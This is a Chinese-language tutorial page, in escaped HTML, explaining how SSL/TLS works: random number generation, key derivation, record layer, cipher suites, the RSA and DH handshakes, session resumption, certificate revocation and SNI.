&lt;h2 id=&quot;sui-ji-shu-fa-sheng-qi&quot;&gt;随机数发生器&lt;&#x2F;h2&gt;
&lt;p&gt;截止目前，我们已经解决了很多问题，包括机密性、完整性、认证性、防抵赖，但其实还有一个大问题我们没有解决：即我们的&lt;strong&gt;会话密钥&lt;&#x2F;strong&gt;如何生成？一个安全的算法其所有的安全性应该都是基于其&lt;strong&gt;密钥的安全性&lt;&#x2F;strong&gt;，如果我们的密钥可以被轻易破解或预测，那我们前面构建的一切就都土崩瓦解了。所以随机数发生器就在这里起到了至关重要的作用。&lt;&#x2F;p&gt;
&lt;p&gt;随机数同样在&lt;strong&gt;防重放攻击&lt;&#x2F;strong&gt;中具有重要的作用，所谓重放攻击，就是攻击者将窃听的数据保存下来，在后面再原样发送给接收者，以达到其特定的攻击目的。防重放的常用手段有使用序号、时间戳、随机数等。&lt;&#x2F;p&gt;
&lt;p&gt;这里留个问题给大家思考，因为机密性和完整性的保护，攻击者既不能解密消息，又不能对消息进行篡改，那么重放有什么用呢？&lt;&#x2F;p&gt;
&lt;p&gt;理想的随机数发生器具有以下特性：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;随机性：不存在统计学偏差，是完全杂乱的数列&lt;&#x2F;li&gt;
&lt;li&gt;不可预测性：不能从过去的数列推测出下一个出现的数&lt;&#x2F;li&gt;
&lt;li&gt;不可重现性：除非将数列本身保存下来，否则不能重现相同的数列&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;mi-yao-pai-sheng-han-shu-key-derivation-function&quot;&gt;密钥派生函数 key derivation function&lt;&#x2F;h2&gt;
&lt;p&gt;KDF可用于将密钥材料扩展为更长的密钥或获取所需格式的密钥。TLS 1.2中是用的PRF算法，TLS 1.3中则是用的HKDF算法。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ssl-tlsxie-yi-xiang-jie&quot;&gt;SSL&#x2F;TLS协议详解&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;shen-me-shi-ssl-tlsxie-yi&quot;&gt;什么是SSL&#x2F;TLS协议&lt;&#x2F;h2&gt;
&lt;p&gt;好了，有了前面的密码学基础，我们就可以正式进入TLS协议的介绍。前面介绍的基本都是独立的算法或者是几个算法结合起来的组件，而SSL&#x2F;TLS协议则是基于这些底层的算法原语和组件，最终拼装而成的一个&lt;strong&gt;成品的密码学协议&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;SSL全称是&lt;code&gt;Secure Sockets Layer&lt;&#x2F;code&gt;，安全套接字层，它是由网景公司(Netscape)设计的主要用于Web的安全传输协议，目的是为网络通信提供机密性、认证性及数据完整性保障。如今，SSL已经成为互联网保密通信的工业标准。&lt;&#x2F;p&gt;
&lt;p&gt;SSL最初的几个版本(SSL 1.0、SSL2.0、SSL 3.0)由网景公司设计和维护，从3.1版本开始，SSL协议由因特网工程任务小组(IETF)正式接管，并更名为TLS(Transport Layer Security)，发展至今已有TLS 1.0、TLS1.1、TLS1.2这几个版本。目前主流的还是TLS1.2，不过TLS1.3即将是大势所趋。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Protocol&lt;&#x2F;th&gt;&lt;th&gt;Published&lt;&#x2F;th&gt;&lt;th&gt;Status&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;SSL 1.0&lt;&#x2F;td&gt;&lt;td&gt;Unpublished&lt;&#x2F;td&gt;&lt;td&gt;Unpublished&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSL 2.0&lt;&#x2F;td&gt;&lt;td&gt;1995&lt;&#x2F;td&gt;&lt;td&gt;Deprecated in 2011 (RFC&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc6176&quot;&gt;6176&lt;&#x2F;a&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SSL 3.0&lt;&#x2F;td&gt;&lt;td&gt;1996&lt;&#x2F;td&gt;&lt;td&gt;Deprecated in 2015 (RFC&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc7568&quot;&gt;7568&lt;&#x2F;a&gt;)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TLS 1.0&lt;&#x2F;td&gt;&lt;td&gt;1999&lt;&#x2F;td&gt;&lt;td&gt;Deprecated in 2020 (RFC&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8996&quot;&gt;8996&lt;&#x2F;a&gt;)[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-tls-deprecation-8&quot;&gt;8]&lt;&#x2F;a&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-:3-9&quot;&gt;9]&lt;&#x2F;a&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-:4-10&quot;&gt;10]&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TLS 1.1&lt;&#x2F;td&gt;&lt;td&gt;2006&lt;&#x2F;td&gt;&lt;td&gt;Deprecated in 2020 (RFC&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;datatracker.ietf.org&#x2F;doc&#x2F;html&#x2F;rfc8996&quot;&gt;8996&lt;&#x2F;a&gt;)[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-tls-deprecation-8&quot;&gt;8]&lt;&#x2F;a&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-:3-9&quot;&gt;9]&lt;&#x2F;a&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Transport_Layer_Security#cite_note-:4-10&quot;&gt;10]&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TLS 1.2&lt;&#x2F;td&gt;&lt;td&gt;2008&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;TLS 1.3&lt;&#x2F;td&gt;&lt;td&gt;2018&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;SSL&#x2F;TLS协议能够提供的安全目标主要包括如下几个：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;机密性&lt;&#x2F;strong&gt;：借助加密防止第三方窃听&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;认证性&lt;&#x2F;strong&gt;：借助数字证书认证服务器端和客户端身份，防止身份伪造&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;完整性&lt;&#x2F;strong&gt;：借助消息认证码(MAC)保障数据完整性，防止消息篡改&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;防重放&lt;&#x2F;strong&gt;：防止重放攻击&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;xie-yi-fen-ceng&quot;&gt;协议分层&lt;&#x2F;h2&gt;
&lt;p&gt;相信大家对TCP&#x2F;IP 5层模型已经非常熟悉了，TLS协议就如其名字所说的（Transport Layer Security），用于保障传输层的安全。它位于传输层之上，应用层之下。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls-layered-structure.svg&quot; alt=&quot;TLS-layered-structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;SSL&#x2F;TLS协议有一个高度模块化的架构，其内部又分为很多子协议：Handshake协议、Alert协议、ChangeCipherSpec协议、Application协议。它们底层都是基于Record协议，记录层协议负责识别不同的上层消息类型以及消息的分段加密认证等。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Handshake协议：包括协商安全参数和算法套件、服务器身份认证(客户端身份认证可选)、密钥交换&lt;&#x2F;li&gt;
&lt;li&gt;Application协议：用于传输应用层数据&lt;&#x2F;li&gt;
&lt;li&gt;ChangeCipherSpec 协议：一条消息表明握手协议已经完成&lt;&#x2F;li&gt;
&lt;li&gt;Alert 协议：对握手协议中一些异常的错误提醒，分为fatal和warning两个级别，fatal类型的错误会直接中断SSL连接，而warning级别的错误一般情况下SSL连接会继续，只是会给出错误警告&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;SSL&#x2F;TLS协议被设计为一个两阶段协议，分为&lt;strong&gt;握手阶段&lt;&#x2F;strong&gt;和&lt;strong&gt;应用阶段&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;握手阶段&lt;&#x2F;strong&gt;：也称协商阶段，在这一阶段主要目标就是进行我们前面已经提到过的协商安全参数和算法套件、身份认证（基于数字证书）以及密钥交换生成后续加密通信所使用的密钥。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;应用阶段&lt;&#x2F;strong&gt;：双方使用握手阶段协商好的密钥进行安全通信。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ssl-record&quot;&gt;SSL record&lt;&#x2F;h2&gt;
&lt;p&gt;SSL记录层包的格式，跟其下的IP或TCP层类似，所有在SSL会话上交换的数据都按如下格式封装成帧。记录层协议负责识别不同的消息类型，也负责对消息的分段、压缩、消息认证和完整性保护、加密等工作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls-record-structure.svg&quot; alt=&quot;TLS-record-structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一个典型的记录层工作流（分组密码算法）如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;记录层接收到应用层的数据&lt;&#x2F;li&gt;
&lt;li&gt;将接收到的数据分块&lt;&#x2F;li&gt;
&lt;li&gt;使用协商的MAC key计算MAC或HMAC，并增加到记录块中&lt;&#x2F;li&gt;
&lt;li&gt;使用协商的Cipher Key将记录数据加密&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当加密的数据到了接收端，对方则进行相反的操作：解密数据、验证MAC、重组数据并交给应用层。&lt;&#x2F;p&gt;
&lt;p&gt;所有这些工作都由SSL层完成了，对于上层应用是完全透明的。&lt;&#x2F;p&gt;
&lt;p&gt;对于握手阶段的消息，payload是明文，当然就没有MAC和Padding。其他消息的payload都是密文。&lt;&#x2F;p&gt;
&lt;p&gt;对于&lt;strong&gt;流加密算法&lt;&#x2F;strong&gt;，没有后面的padding。对于&lt;strong&gt;块加密算法&lt;&#x2F;strong&gt;的记录，根据使用的算法在payload之前有可选的IV字段。&lt;&#x2F;p&gt;
&lt;p&gt;对于&lt;strong&gt;AEAD算法&lt;&#x2F;strong&gt;，因为认证已经包含在算法里了，所以没有后面的MAC和Padding字段。payload之前有一个外部nonce字段。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;suan-fa-tao-jian-ciphersuites&quot;&gt;算法套件CipherSuites&lt;&#x2F;h2&gt;
&lt;p&gt;在深入握手流程之前，我们先来了解一下算法套件的概念。前面在密码学基础部分我们已经了解到了各种算法，包括认证算法、密钥交换算法、对称密码算法、完整性认证的算法。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tls-1-2&quot;&gt;TLS 1.2-&lt;&#x2F;h3&gt;
&lt;p&gt;一个&lt;strong&gt;算法套件&lt;&#x2F;strong&gt;是一个SSL连接中用到的这些算法类型的组合，包含如下几个部分：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Key Exchange（Kx）&lt;&#x2F;li&gt;
&lt;li&gt;Authentication（Au）&lt;&#x2F;li&gt;
&lt;li&gt;Encryption（Enc）&lt;&#x2F;li&gt;
&lt;li&gt;Message Authentication Code（Mac）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;常见的算法套件类型比如&lt;code&gt;TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256&lt;&#x2F;code&gt;，&lt;code&gt;TLS_RSA_WITH_AES_256_GCM_SHA384&lt;&#x2F;code&gt;、&lt;code&gt;TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384&lt;&#x2F;code&gt;、&lt;code&gt;ECC_SM2_WITH_SM4_SM3&lt;&#x2F;code&gt;（国密）、&lt;code&gt;ECDHE_SM2_WITH_SM4_SM3&lt;&#x2F;code&gt;（国密）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls12-cipher-suite-structure.png&quot; alt=&quot;CipherSuite1_2&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以&lt;code&gt;ECDHE-ECDSA-AES128-GCM-SHA256&lt;&#x2F;code&gt;为例，前面的&lt;code&gt;ECDHE&lt;&#x2F;code&gt;表示密钥交换算法，&lt;code&gt;ECDSA&lt;&#x2F;code&gt;表示身份认证算法，&lt;code&gt;AES128-GCM&lt;&#x2F;code&gt;表示对称加密算法，其中&lt;code&gt;128&lt;&#x2F;code&gt;表示块长度，&lt;code&gt;GCM&lt;&#x2F;code&gt;是其模式，&lt;code&gt;SHA256&lt;&#x2F;code&gt;表示哈希算法。对于&lt;code&gt;AEAD&lt;&#x2F;code&gt;因为消息认证和加密已经合并到一起了，最后的&lt;code&gt;SHA256&lt;&#x2F;code&gt;只表示密钥派生函数的算法，而对于传统的数据加密和认证分开的算法套件，它还表示&lt;code&gt;MAC&lt;&#x2F;code&gt;的算法。&lt;&#x2F;p&gt;
&lt;p&gt;可以通过如下命令查看每种算法套件的详细情况：&lt;code&gt;openssl ciphers -V | column -t | less&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tls-1-3&quot;&gt;TLS 1.3&lt;&#x2F;h3&gt;
&lt;p&gt;对于TLSv1.3，因为已经将密钥交换和身份认证算法从算法套件中独立出去，算法套件只表示加密算法和密钥派生函数。之所以要独立出去，是因为支持的算法越来越多了，导致相乘之后算法套件数量庞大。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls13-cipher-suites.png&quot; alt=&quot;CipherSuite1_3&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以用如下命令查看当前支持哪些TLS 1.3算法套件：&lt;code&gt;openssl ciphers -V | column -t | grep &#x27;TLSv1.3&#x27;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ssl-handshake&quot;&gt;SSL handshake&lt;&#x2F;h2&gt;
&lt;p&gt;终于进入核心的握手协议部分了。如前所述，SSL握手主要干以下几件事情：首先得商量双方用什么算法套件，然后根据需要认证对方的身份（基于数字证书），最后基于选择的算法套件进行密钥交换生成后续加密通信所使用的密钥。（本节描述的是TLS 1.2及以前版本的情况）&lt;&#x2F;p&gt;
&lt;p&gt;下图是一个完整SSL握手的建立流程:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls-full-handshake-flow.svg&quot; alt=&quot;TLS-full-handshake-flow&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先是TCP的3次握手建立TCP连接，然后客户端发起SSL握手。一次完整的SSL握手包含两次交互，第一次主要是完成算法套件的选择。第二次交互主要是完成身份认证以及密钥交换。这些都协商完成之后，SSL的安全通道就建立完成了。后续的应用数据就会在安全通道上进行加密传输。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mi-yao-jiao-huan-liu-cheng-rsa&quot;&gt;密钥交换流程-RSA&lt;&#x2F;h3&gt;
&lt;p&gt;基于RSA的密钥交换流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ssl-keyexchange-rsa.jpg&quot; alt=&quot;SSL-keyexchange-RSA&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们来模拟下协商过程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;客户端：Hi，服务端，我这边支持这些算法，这是我本次的随机数。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：好的，我看看，我们就选用这个算法套件吧，这是我本次的随机数，这是我的证书，你用这个证书里的公钥来加密预主密钥。&lt;&#x2F;li&gt;
&lt;li&gt;客户端：稍等我验下证书，嗯，的确是服务端的证书。这是用证书中公钥加密的预主密钥。（使用两个随机数+预主密钥计算主密钥，然后生成会话密钥。。。）好了，我这边OK了。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：收到。（用私钥解密出预主密钥，使用两个随机数+预主密钥计算主密钥，然后生成会话密钥。。。）好了，我这边也OK了。&lt;&#x2F;li&gt;
&lt;li&gt;客户端：这是加密的应用数据。。。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：这是加密的应用数据。。。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注：上面的流程是单向认证（服务端没有验证客户端的身份），如果服务端也需要验客户端的身份，会在第一次交互中发送&lt;code&gt;Certificate Request&lt;&#x2F;code&gt;消息，客户端相应的在第二次交互中发送自己的&lt;code&gt;Certificate&lt;&#x2F;code&gt;以及&lt;code&gt;CertificateVerify&lt;&#x2F;code&gt;消息给服务端。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mi-yao-jiao-huan-liu-cheng-dh&quot;&gt;密钥交换流程-DH&lt;&#x2F;h3&gt;
&lt;p&gt;基于DH的密钥交换流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;ssl-dh-key-exchange.jpg&quot; alt=&quot;SSL-keyexchange-DH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们同样来模拟下协商过程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;客户端：Hi，服务端，我这边支持这些算法，这是我本次的随机数。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：好的，我看看，我们就选用这个算法套件吧，这是我本次的随机数，给你我的证书。我这边用这个DH参数，这是对应的签名。&lt;&#x2F;li&gt;
&lt;li&gt;客户端：稍等我验下证书和签名，嗯，的确是服务端的证书，签名也没有问题。这是我这边的DH参数。（使用DH参数推导出预主密钥，再使用两个随机数+预主密钥计算主密钥，然后生成会话密钥。。。）好了，我这边OK了。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：收到。（使用DH参数推导预主密钥，再使用两个随机数+预主密钥计算主密钥，然后生成会话密钥。。。）好了，我这边也OK了。&lt;&#x2F;li&gt;
&lt;li&gt;客户端：这是加密的应用数据。。。&lt;&#x2F;li&gt;
&lt;li&gt;服务端：这是加密的应用数据。。。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;mi-yao-sheng-cheng&quot;&gt;密钥生成&lt;&#x2F;h3&gt;
&lt;p&gt;通过第一次ClientHello和ServerHello的交互、以及密钥交换的过程，客户端和服务端双方，都得到了client随机数、server随机数以及预主密钥。接下来就可以通过这些来计算主密钥了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;master_secret = PRF(pre_master_secret, &amp;quot;master secret&amp;quot;,
                    ClientHello.random + ServerHello.random)
                    [0..47];
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到主密钥之后，再将其扩展为一个安全字节序列。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;key_block = PRF(SecurityParameters.master_secret,
                     &amp;quot;key expansion&amp;quot;,
                     SecurityParameters.server_random +
                     SecurityParameters.client_random);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后分别切分为MAC密钥、对称加密的key和IV。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;client_write_MAC_key[SecurityParameters.mac_key_length]
server_write_MAC_key[SecurityParameters.mac_key_length]
client_write_key[SecurityParameters.enc_key_length]
server_write_key[SecurityParameters.enc_key_length]
client_write_IV[SecurityParameters.fixed_iv_length]
server_write_IV[SecurityParameters.fixed_iv_length]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;画成图的话大概是下面这个样子。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls12-key-calculation.png&quot; alt=&quot;TLS1.2_KeyCalculation&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;sessionzhong-yong&quot;&gt;Session重用&lt;&#x2F;h2&gt;
&lt;p&gt;SSL握手额外引入了&lt;strong&gt;两次交互&lt;&#x2F;strong&gt;以及&lt;strong&gt;CPU密集型&lt;&#x2F;strong&gt;的算法运算。每次连接都进行SSL握手时非常耗费性能的，有没有什么办法进行性能优化呢？显然提升硬件性能、软件性能都是有效的方法。其实SSL从协议层面也考虑了这个问题，它提供了“会话重用”的特性。双方在建立前一次SSL连接之后，可以将SSL会话保存下来。下一次想要在建立SSL连接的时候，可以直接恢复之前的SSL会话，从而简化SSL握手流程。Session重用的时候只需要进行一次SSL握手交互，而且不需要再进行身份认证和密钥交换，从而大幅减小了整个流程的延迟和计算开销。&lt;&#x2F;p&gt;
&lt;p&gt;事实上，如果浏览器要对同个站点发起多个连接，它通常就会等第一个SSL握手完成后再发起其他的连接，这样其他的连接就可以复用之前的那个Session。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;tls-half-handshake-flow.svg&quot; alt=&quot;TLS-half-handshake-flow&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Session重用有两种机制，分别为Session IDs和Session tickets。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;session-id&quot;&gt;Session ID&lt;&#x2F;h3&gt;
&lt;p&gt;我们来看下使用Session ID时的Session重用流程。从前面密钥交换的流程图中可以看到，服务端在&lt;code&gt;Server Hello&lt;&#x2F;code&gt;消息中会发送本次会话的&lt;code&gt;Session ID&lt;&#x2F;code&gt;给客户端。完成握手之后，服务端会保存本次的Session。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;session-resumption-with-session-id.jpg&quot; alt=&quot;session_resumption_with_session_id&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;后续客户端可以通过恢复这个Session来建立SSL连接。具体做法就是在&lt;code&gt;ClientHello&lt;&#x2F;code&gt;消息中带上要恢复的Session ID，然后服务端会根据Session ID去查找对应的会话，如果一切都OK的话，就会根据保存的会话恢复出会话密钥等信息。如果服务端不支持会话重用、或者没找到Session ID、或者会话已经过期了，那么就退化到完整的SSL握手。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;session-ticket&quot;&gt;Session Ticket&lt;&#x2F;h3&gt;
&lt;p&gt;Session ID机制它要求服务端保存每个客户端的session cache，这会在服务端造成几个问题：内存的额外开销、要求Session的保存和淘汰策略、然后对有多个服务器的站点，如何高性能地共享session cache提出了挑战。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;crypto-ssl-tls-basics&#x2F;session-resumption-with-session-ticket.jpg&quot; alt=&quot;session_resumption_with_session_ticket&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Session Ticket机制的提出就是为了解决Session ID的问题。Session Ticket不需要服务端保存每个客户端的会话。取而代之，如果客户端宣称它支持session ticket，服务端会发送给客户端一个&lt;code&gt;New Session Ticket&lt;&#x2F;code&gt;消息，其中包含了会话相关的加密数据，加密的密钥只有服务端知道。&lt;&#x2F;p&gt;
&lt;p&gt;客户端会保存这个session ticket，当需要会话恢复的时候，它会在&lt;code&gt;ClientHello&lt;&#x2F;code&gt;消息的&lt;code&gt;SessionTicket&lt;&#x2F;code&gt;扩展中带上这个session ticket。服务端在收到之后解密出其中的session数据从而恢复上次的会话。&lt;&#x2F;p&gt;
&lt;p&gt;所以Session Ticket机制对于服务端来说是一种无状态（stateless）的重用，不需要服务端保存session cache，当然也就没有多服务器同步的问题。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zheng-shu-de-diao-xiao-hei-ming-dan&quot;&gt;证书的吊销（黑名单）&lt;&#x2F;h2&gt;
&lt;p&gt;我们在介绍证书的时候已经看到了证书有一个有效期，在有效期外是无法验证通过的。但是如果我们想在有效期内就让证书失效该怎么办？比如公司员工离职了、或者私钥泄漏等，总不可能把发出去的证书收回来吧。&lt;&#x2F;p&gt;
&lt;p&gt;所以就引入了证书的吊销，CA可以吊销某张证书，在验证证书有效性的时候进行额外的黑名单验证。黑名单的验证有如下几种机制：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;certificate-revocation-list-crl&quot;&gt;Certificate Revocation List (CRL)&lt;&#x2F;h3&gt;
&lt;p&gt;CRL，即证书吊销列表。CA机构维护一个被吊销证书的列表，里面是被吊销证书的信息。验证证书方需要下载这个列表，进行黑名单的验证。&lt;&#x2F;p&gt;
&lt;p&gt;CRL的缺陷也很明显：证书验证方必须下载这个列表，且下载的列表跟实际CA机构的列表之间可能不同步。如果一个证书实际已经被吊销，但是并没有在本地列表中，就可能形成安全隐患。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;online-certificate-status-protocol-ocsp&quot;&gt;Online Certificate Status Protocol (OCSP)&lt;&#x2F;h3&gt;
&lt;p&gt;OCSP，即在线证书状态协议。它通过在线请求的方式来进行黑名单验证，不需要下载整个 list，只需要将该证书的序列号发送给 CA 进行验证。部署 OCSP 对 CA也引入了一定的要求，CA 需要搭建的一个高性能的服务器来提供验证服务。万一服务器挂掉了，那所有的黑名单验证就会当成是通过，有一定的安全隐患。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ocsp-stapling&quot;&gt;OCSP Stapling&lt;&#x2F;h3&gt;
&lt;p&gt;OCSP Stapling是OCSP标准的一个扩展，主要目标就是提升性能和安全性。证书拥有者自己定期向OCSP服务器发送请求。获取OCSP响应，这个响应是基于时间戳的，而且由CA直接签名。&lt;&#x2F;p&gt;
&lt;p&gt;OCSP Stapling提升整体的性能，一方面证书验证方不需要再直接请求CA的服务器去查询状态，另一方面CA的OCSP服务器的压力也减小了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;server-name-indication-sni&quot;&gt;Server Name Indication（SNI）&lt;&#x2F;h2&gt;
&lt;p&gt;当一个站点上部署了多个Server时（相当于一个IP映射了多个域名），不同的Server可能需要使用不同的证书。问题是如何在SSL握手阶段知道是访问那个host（还没到HTTP阶段，无法用请求头里的&lt;code&gt;HOST&lt;&#x2F;code&gt;字段），从而决定使用对应的证书呢？&lt;&#x2F;p&gt;
&lt;p&gt;SNI就是为了解决这个问题，具体做法是在&lt;code&gt;ClientHello&lt;&#x2F;code&gt;扩展中带上SNI，服务端就能从中得知需要访问哪个host，从而选择相应的证书。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gmsslxie-yi-chai-yi&quot;&gt;GMSSL协议差异&lt;&#x2F;h2&gt;
&lt;p&gt;GMSSL修改自TLS1.1，总体上与TLS协议的差异不大。详见《GMT 0024-2014 SSL VPN技术规范》。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xie-yi-hao&quot;&gt;协议号&lt;&#x2F;h2&gt;
&lt;p&gt;TLSv1.0, TSLv1.1, TLSv1.2、TLSv1.3的协议号分别为&lt;code&gt;0x0301&lt;&#x2F;code&gt;、&lt;code&gt;0x0302&lt;&#x2F;code&gt;、&lt;code&gt;0x0303&lt;&#x2F;code&gt;、&lt;code&gt;0x0304&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
